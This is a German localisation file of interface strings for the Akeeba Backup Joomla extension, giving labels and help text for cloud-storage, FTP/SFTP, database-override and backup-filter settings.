COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHDRIVES_TITLE="Liste der Laufwerke neu laden"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_TITLE="Laufwerk"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_DESCRIPTION="Wählen Sie, welches Laufwerk (OneDrive Personal, OneDrive for Business oder SharePoint), auf das Ihr Konto Zugriff hat, zum Speichern der Backups verwendet werden soll. Sie müssen die Authentifizierung abschließen, bevor diese Liste gefüllt wird. Dies ist nur sinnvoll, wenn Sie Zugang zu mehr als einem OneDrive-Laufwerk haben (z. B. ist Ihr Microsoft-Konto Teil eines Abonnements einer Organisation). Falls unsicher, verwenden Sie die Option „Standardlaufwerk", die Ihr persönliches Standardlaufwerk verwendet – normalerweise entspricht dies der ersten „Laufwerk (OneDrive Personal)"-Option, die Sie unten sehen."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DRIVE_OPT_PERSONAL="Laufwerk (OneDrive Personal)"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_DESCRIPTION="Das Verzeichnis im Microsoft OneDrive-Laufwerk zum Speichern der Backup-Archive. Bitte verwenden Sie Schrägstriche, keine Backslashes und stellen Sie immer einen Schrägstrich voran. Richtig: /some/thing. Falsch: some\\thing. Ein einzelner Schrägstrich bedeutet, dass Archive im Stammverzeichnis des Laufwerks gespeichert werden."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_DESCRIPTION="Wird automatisch ausgefüllt, wenn Sie Schritt 1 der Authentifizierung oben abschließen. Teilen Sie NICHT dasselbe Token auf vielen Websites. Authentifizieren Sie stattdessen jede Website separat."
COM_AKEEBABACKUP_CONFIG_ONEDRIVE_REFRESHTOKEN_TITLE="Aktualisierungstoken"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_DESCRIPTION="In Joomla! 3.9 und später werden Benutzeraktionen in der Datenbank protokolliert, wodurch eine Tabelle mit Millionen von Zeilen entsteht und Ihr Backup verlangsamt wird. Aktivieren Sie diese Option, um solche Daten auszuschließen."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ACTIONLOGS_ENABLED_TITLE="Joomla! Benutzeraktionsprotokoll"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_DESCRIPTION="Wenn aktiviert, werden nur Dateien gesichert, die nach einem bestimmten Datum und einer bestimmten Uhrzeit geändert wurden."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_ENABLED_TITLE="Datumsbedingter Filter"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_DESCRIPTION="Akeeba Backup sichert Dateien, die nach diesem Datum und dieser Uhrzeit geändert wurden. Das Format ist JJJJ-MM-TT hh:mm:ss. Alle Daten und Uhrzeiten werden in der Zeitzone Ihres Servers ausgedrückt."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_DATECONDITIONAL_START_TITLE="Dateien sichern, die nach folgendem Datum geändert wurden"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_DESCRIPTION="Schließt automatisch Fehlerprotokolldateien aus, z. B. <code>error_log</code>, unabhängig davon, wo sie sich auf der zu sichernden Website befinden. Diese Dateien ändern ihre Größe während des Backups, was zu beschädigten Backups führen kann."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_ERRORLOGS_ENABLED_TITLE="Fehlerprotokolle ausschließen"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_DESCRIPTION="Schließen Sie unkritische Smart Search-Inhalte vom Backup aus. Es wird dringend empfohlen, dies aus Leistungsgründen zu tun. Nachdem Sie Ihre Website wiederhergestellt haben, gehen Sie bitte zu Komponenten, Smart Search und klicken Sie auf die Schaltfläche Index, um diese Daten neu zu erstellen."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_FINDER_ENABLED_TITLE="Finder-Begriffe und Taxonomietabellen überspringen"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_DESCRIPTION="Wenn aktiviert, schließt Akeeba Backup automatisch die häufigsten hostspezifischen Ordner zum Speichern von Zugriffsstatistiken für Ihre Website aus. Diese Ordner sind für Ihren Website-Benutzer nur lesbar, was Wiederherstellungsprobleme verursacht, wenn sie gesichert werden."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_TITLE="Nur von Joomla! und seinen Erweiterungen installierte Tabellen sichern"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ENABLED_DESCRIPTION="Wenn Sie diesen Filter aktivieren, werden Tabellen in der Datenbank, die nicht von Joomla! selbst oder einer seiner Erweiterungen installiert wurden, beim Backup übersprungen. Die Informationen über installierte Tabellen werden von den SQL-Dateien bereitgestellt, die Joomla! und seinen Erweiterungen beiliegen. Dieser Filter ist nützlich, wenn Sie viele überflüssige/kopierte Tabellen haben (stellen Sie sich <code>#__users_oldcopy_20250910</code> vor) und diese nicht einzeln ausschließen möchten oder wissen, wie. Testen Sie bei Verwendung dieses Filters immer die Wiederherstellung des Backups auf einem Entwicklungs-/Staging-Server, um sicherzustellen, dass Ihre Konfiguration keine Tabellen versehentlich ausgelassen hat, die Sie verwenden möchten."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_TITLE="Filterung auf Tabellen mit dem Joomla-Präfix beschränken"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_ONLYJOOMLA_DESCRIPTION="Wenn Sie diese Option aktivieren, wird der Filter „Nur von Joomla! und seinen Erweiterungen installierte Tabellen sichern" auf Tabellen beschränkt, deren Name mit dem Joomla!-Datenbanktabellennamen-Präfix beginnt. Dies ist nützlich, wenn Sie Skripte von Drittanbietern haben, die außerhalb von Joomla ausgeführt werden und ihre Tabellen ohne Tabellenpräfix oder mit einem anderen Tabellenpräfix installieren, und Sie diese in Ihr Backup einschließen möchten."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_TITLE="Diese Tabellen explizit erlauben"
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Geben Sie eine kommagetrennte Liste von Datenbanktabellen ein, die in das Backup einbezogen werden sollen, auch wenn sie sonst durch den Filter „Nur von Joomla! und seinen Erweiterungen installierte Tabellen sichern" ausgeschlossen würden. Dies ist nützlich, um Tabellen von Erweiterungen einzuschließen, die ihre Tabellen mit einer anderen Methode als Joomlas eingebautem Datenbankschemaverwaltung installieren. Tipp: Wenn Sie eine Tabelle sehen, die Sie in das Backup aufnehmen möchten und die ein rotes Symbol auf der Seite „Datenbanktabellen ausschließen" hat, fügen Sie sie dieser Liste hinzu."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Hostspezifische Statistikordner ausschließen"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Dies ist das Verzeichnis auf Ihrem Server, in dem Akeeba Backup die Backup-Archive und die Backup-Protokolldatei speichert. Sie können die folgenden Makros verwenden:<ul><li><strong>[DEFAULT_OUTPUT]</strong> Das Standardausgabeverzeichnis</li><li><strong>[SITEROOT]</strong> Das Stammverzeichnis Ihrer Website</li><li><strong>[ROOTPARENT]</strong> Ein Verzeichnis über dem Stammverzeichnis Ihrer Website</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Ausgabeverzeichnis"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="DIES IST NICHT DER NAME DES SPEICHERCONTAINERS! Gehen Sie zu Ihrem OVH Cloud-Manager, Server, erweitern Sie Ihren Server, klicken Sie auf Speicher. Die Container-URL wird dort über der Liste Ihrer Dateien angezeigt. Kopieren Sie sie hierher."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="Container-URL"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="Das Verzeichnis im OVH-Objektspeicher-Container zum Speichern der Backup-Archive. Lassen Sie es leer, um alles im Stammverzeichnis des Containers zu speichern."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="DIES IST NICHT IHR OVH-ANMELDEPASSWORT! Erstellen Sie einen Benutzer über Ihren OVH Cloud-Manager, Server, erweitern Sie Ihren Server, klicken Sie auf OpenStack, klicken Sie auf Benutzer hinzufügen. Kopieren Sie das Passwort des erstellten Benutzers hierher."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="OpenStack-Passwort"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="Ihre OVH-Cloud-Server-Projekt-ID. Erweitern Sie im OVH-Cloud-Manager Ihren Server und klicken Sie auf den Speicher-Link. Im Hauptseitenbereich sehen Sie den Namen des Servers und direkt darunter eine 32-stellige alphanumerische Zeichenfolge wie a0b1c2d3e4f56789abcdef0123456789. Dies ist die Projekt-ID, die Sie hier eingeben müssen."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="Projekt-ID"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="DIES IST NICHT IHR OVH-ANMELDEBENUTZERNAME! Erstellen Sie einen Benutzer über Ihren OVH Cloud-Manager, Server, erweitern Sie Ihren Server, klicken Sie auf OpenStack, klicken Sie auf Benutzer hinzufügen. Kopieren Sie die ID des erstellten Benutzers hierher."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="OpenStack-Benutzername"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup kann geteilte (mehrteilige) Archive erstellen, um Größenbeschränkungen unter verschiedenen Umständen zu umgehen. Diese Option definiert die maximale Größe jedes Archivteils. Wenn Sie sie auf 0 reduzieren, wird die mehrteilige Funktion deaktiviert.</br><strong>Wichtig:</strong>Wenn Sie eine Datenverarbeitungsengine verwenden, die Archive an einen Remote-Speicherort überträgt (z. B. Cloud-Speicher), verwenden Sie für optimale Ergebnisse eine Einstellung von ca. 1 bis 5 MB."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Teilgröße für geteilte Archive"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>WARNUNG! AUTHENTIFIZIERUNG FUNKTIONIERT NICHT AUFGRUND VON PROBLEMEN AUF DEM pCloud API-SERVER. DIESE NACHBEARBEITUNGSENGINE WIRD IN EINER ZUKÜNFTIGEN VERSION VON AKEEBA BACKUP ENTFERNT.</strong>. Wird automatisch ausgefüllt, wenn Sie Schritt 1 der Authentifizierung oben abschließen. Wenn Sie eine andere Website mit demselben pCloud-Konto verknüpfen, sollten Sie den Zugriffstoken von Ihrer bereits eingerichteten Website kopieren und nicht versuchen, Schritt 1 der Authentifizierung erneut auszuführen."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Zugriffstoken"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="Der Name des Verzeichnisses auf pCloud, in dem das Backup-Archiv gespeichert wird. <strong>Das Verzeichnis MUSS bereits vorhanden sein, sonst schlägt der Upload fehl.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Hohe Sicherheit. Kann auf einfachen Servern Probleme verursachen"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Mittlere Sicherheit, für die Verwendung auf Servern mit einer einzelnen Website"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Niedrige Sicherheit, maximale Kompatibilität mit kommerziellen Hosts"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Legen Sie die Dateiberechtigungen für die Backup-Archivdateien fest. Gilt nur auf Linux, macOS, BSD und anderen UNIX-ähnlichen Hosts (NICHT Windows). Falls unsicher, lassen Sie 0666. Das Ändern kann es unmöglich machen, Backup-Archivdateien über FTP und SFTP herunterzuladen und/oder zu löschen. Wenn Ihr Server PHP-FPM verwendet oder PHP anderweitig unter demselben Benutzer wie das Systemkonto Ihrer Website ausführt, verwenden Sie 0600 für beste Sicherheit."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Archivberechtigungen"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Website-Überschreibungen"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="Der Name der zu sichernden Datenbank. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Datenbankname"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Wählen Sie den Datenbanktreiber aus, der beim Verbinden mit der Datenbank der Website verwendet werden soll. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Datenbanktreiber"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="Der Hostname oder die IP-Adresse des Datenbankservers. Normalerweise localhost oder 127.0.0.1. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Hostname des Datenbankservers"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="Das Passwort zum Verbinden mit der Datenbank der Website. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(optional) Der Port, auf dem der Datenbankserver lauscht. Falls Sie unsicher sind, lassen Sie diese Option leer, um den Standardport zu verwenden (3306 für MySQL-Server). Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Port des Datenbankservers"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="Das Präfix der zu sichernden Datenbank einschließlich des Unterstrichs, z. B. <code>ex4m_</code>. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Präfix"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Mit einem SSL-Zertifikat verbinden"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="Sollen wir eine Verbindung zur Datenbank über ein SSL-Zertifikat herstellen? Dies kann anstelle der Authentifizierung mit Benutzername und Passwort (verschlüsselte Verbindung mit Zertifikatsauthentifizierung) oder <em>zusätzlich zur</em> Authentifizierung mit Benutzername und Passwort (verschlüsselte Verbindung mit Passworter-Authentifizierung) verwendet werden. Wenn Sie nicht wissen, was das bedeutet, setzen Sie diese Option auf Nein und ignorieren Sie auch die nächsten Optionen."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="SSL/TLS-Verschlüsselungsmethoden"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Geben Sie eine Liste von Verschlüsselungsmethoden für die Verbindung mit SSL-Zertifikaten ein, getrennt durch Doppelpunkte. Wenn leer gelassen, wird die Standardliste (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) verwendet (empfohlen)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Zertifizierungsstellen (CA)-Datei"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Absoluter Dateipfad zur Zertifizierungsstellen (CA)-Zertifikat-PEM-Datei Ihres Datenbankservers, z. B. <code>/home/meinbenutzer/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Private-Key-Datei des Datenbankbenutzers"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Absoluter Dateipfad zur PEM-Datei des privaten Schlüssels Ihres Datenbankbenutzers, z. B. <code>/home/meinbenutzer/meinbenutzer-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Öffentlicher Schlüssel (Zertifikat)-Datei des Datenbankbenutzers"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Absoluter Dateipfad zur PEM-Datei des öffentlichen Schlüssels (Zertifikats) Ihres Datenbankbenutzers, z. B. <code>/home/meinbenutzer/meinbenutzer.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Server-Zertifikat verifizieren"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Auf Ja setzen, um das Zertifikat zu verifizieren, das der Server an uns zurücksendet. Dies wird anhand der von Ihnen angegebenen Zertifizierungsstellen (CA)-Datei verifiziert. Wenn Sie Verbindungsfehler erhalten, setzen Sie dies auf Nein; einige Setups (insbesondere solche, die durch <code>mysql_ssl_rsa_setup</code> generiert wurden) können eine Verbindung ablehnen, wenn die Zertifikatsverifizierung aktiviert ist. Wenn Sie die Verifizierung aktivieren und das CA-Dateifeld leer lassen, wird das Zertifikat des Servers gegen die Zertifizierungsstellen-Dateien überprüft, die Ihr Server kennt, siehe die PHP-Optionen <code>openssl.cafile</code> und <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="Der Benutzername zum Verbinden mit der Datenbank der Website. Wird nur verwendet, wenn das Kontrollkästchen „Website-Datenbanküberschreibung" aktiviert ist."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Wenn Sie die obige Option „Website-Stammverzeichnisüberschreibung" aktiviert haben, sichert Akeeba Backup alle Dateien und Verzeichnisse unter dem Stammverzeichnis dieser Website"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Website-Stammverzeichnis erzwingen"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Wenn nicht aktiviert (Standard), sichert Akeeba Backup automatisch die Datenbank, mit der die Website, auf der es installiert ist, verbunden ist (Ihre Joomla!-Datenbank). Wenn aktiviert, sichert es eine andere Datenbank und verwendet die unten angegebenen Verbindungsdetails."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Website-Datenbanküberschreibung"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Wenn nicht aktiviert (Standard), sichert Akeeba Backup alle Dateien und Verzeichnisse unter dem Stammverzeichnis der Website, auf der es installiert ist. Wenn aktiviert, sichert es Dateien und Verzeichnisse unter dem unten im Feld „Website-Stammverzeichnis erzwingen" ausgewählten Verzeichnis."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Website-Stammverzeichnisüberschreibung"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Wenn aktiviert, versucht Akeeba Backup, eine Verbindung zu Ihrem FTP-Server über eine SSL-verschlüsselte Verbindung herzustellen. <strong>Dies ist nicht dasselbe wie SFTP, SCP oder „Secure FTP"!</strong> Beachten Sie, dass Sie Verbindungsfehler erhalten, wenn Ihr Server diese Methode nicht unterstützt."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="FTP über SSL verwenden (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Hostname des FTP-Servers, ohne Protokollangabe. Das bedeutet, dass <code>ftp://example.com</code> <strong>ungültig</strong> ist und <code>example.com</code> gültig ist. Diese Engine unterstützt nur FTP- und FTPS-Server. Sie unterstützt <u>keine</u> SFTP-, SCP- oder anderen SSH-Varianten."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="Der absolute <strong>FTP</strong>-Pfad zu dem Verzeichnis, in das die Dateien hochgeladen werden. Falls Sie unsicher sind, verbinden Sie sich mit FileZilla mit Ihrem Server, navigieren Sie zum gewünschten Verzeichnis und kopieren Sie den Pfad, der im rechten Bereich über der Verzeichnisliste angezeigt wird. Normalerweise ist es etwas Kurzes wie <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Ausgangsverzeichnis"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="Der relative Pfad zum Ausgangsverzeichnis; er wird erstellt, wenn er nicht existiert. Lassen Sie das Feld leer, um die Archive direkt im Ausgangsverzeichnis abzulegen. Sie können folgende Makros verwenden:<ul><li><strong>[HOST]</strong> Der Hostname. WARNUNG! Dieses Tag funktioniert nicht im CRON-Modus.</li><li><strong>[DATE]</strong> Aktuelles Datum</li><li><strong>[TIME]</strong> Aktuelle Uhrzeit</li></ul>Weitere sind verfügbar; bitte konsultieren Sie die Dokumentation."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Unterverzeichnis"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Verwenden Sie den FTP-Passivmodus bei der Datenübertragung. Diese Option ist standardmäßig aktiviert, da sie die einzige Methode ist, die durch Firewalls funktioniert, die üblicherweise auf Webservern installiert sind. Deaktivieren Sie diese Option nicht, es sei denn, Sie sind sicher, dass Ihr Webserver nicht hinter einer Firewall steht und Ihr FTP-Server zwingend den aktiven Modus erfordert."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Passivmodus verwenden"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Passwort des FTP-Servers. Es ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Port des FTP-Servers. Die gebräuchlichste Einstellung ist 21. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Verwenden Sie diese Schaltfläche, um die FTP-Verbindung zu testen und im Fehlerfall die Verbindungsfehler anzuzeigen."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="FTP-Verbindung testen"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Benutzername des FTP-Servers. Er ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Wenn aktiviert, führt Akeeba Backup die Nachbearbeitungs-Engine für jeden Teil aus, sobald dieser abgeschlossen ist. Wenn deaktiviert, führt Akeeba Backup die Nachbearbeitung für alle Teile am Ende des Sicherungsvorgangs aus."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Jeden Teil sofort verarbeiten"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Hostname des SFTP-Servers, ohne Protokollangabe. Das bedeutet, dass <code>sftp://example.com</code> oder <code>ssh://example.com</code> <strong>ungültig</strong> ist und NICHT verwendet werden darf, aber <code>example.com</code> gültig ist und verwendet werden MUSS. Diese Engine unterstützt nur SFTP (SSH)-Server. Sie unterstützt <u>keine</u> FTP-, FTPS- oder andere FTP-Varianten. Sie erfordert, dass die PHP SSH2-Erweiterung installiert und aktiviert ist."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Hostname"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="Der absolute <strong>SFTP</strong>-Pfad (normalerweise identisch mit dem Dateisystempfad) zu dem Verzeichnis, in das die Dateien hochgeladen werden. Falls Sie unsicher sind, verbinden Sie sich mit FileZilla mit Ihrem Server, navigieren Sie zum gewünschten Verzeichnis und kopieren Sie den Pfad, der im rechten Bereich über der Verzeichnisliste angezeigt wird. Normalerweise ist es etwas Längeres wie <code>/home/myuser/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Ausgangsverzeichnis"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Passwort des SFTP-Servers. Es ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Port des SFTP-Servers. Die gebräuchlichste Einstellung ist 22. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Port"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="LESEN SIE DIE DOKUMENTATION VOR DER VERWENDUNG. Der absolute Dateisystempfad zu einer RSA/DSA-Privatschlüsseldatei, die zur Verbindung mit dem Remote-Server verwendet wird. Wenn sie verschlüsselt ist, geben Sie die Passphrase im Passwortfeld oben ein. Wenn Sie nicht wissen, was das ist, oder wenn Sie glauben, dafür Support anfordern zu müssen, lassen Sie das Feld leer und fragen Sie uns nicht danach."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Privatschlüsseldatei (erweitert)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="LESEN SIE DIE DOKUMENTATION VOR DER VERWENDUNG. Der absolute Dateisystempfad zu einer RSA/DSA-Öffentlichkeitsschlüsseldatei, die zur Verbindung mit dem Remote-Server verwendet wird. Wenn Sie nicht wissen, was das ist, oder wenn Sie glauben, dafür Support anfordern zu müssen, lassen Sie das Feld leer und fragen Sie uns nicht danach."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Öffentliche Schlüsseldatei (erweitert)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Verwenden Sie diese Schaltfläche, um die SFTP-Verbindung zu testen und im Fehlerfall die Verbindungsfehler anzuzeigen."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="SFTP-Verbindung testen"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Benutzername des SFTP-Servers. Er ist normalerweise Groß-/Kleinschreibung-sensitiv. Falls Sie unsicher sind, wenden Sie sich bitte an Ihren Netzwerkadministrator."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Benutzername"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="Das Verzeichnis in Ihrem iDriveSync-Konto, in dem die Sicherungsarchive gespeichert werden. Lassen Sie das Feld leer oder setzen Sie es auf /, um Dateien im Stammverzeichnis Ihres Kontos zu speichern."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Verzeichnis"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="Ab Mitte 2016 müssen neue Benutzer den neuen API-Endpunkt verwenden"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Neuen Endpunkt verwenden"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="Ihr iDriveSync-Passwort"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Passwort"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="Ihr iDriveSync-Privatschlüssel. Nur wenn Sie bereits einen Privatschlüssel in Ihrem iDriveSync-Konto verwenden."
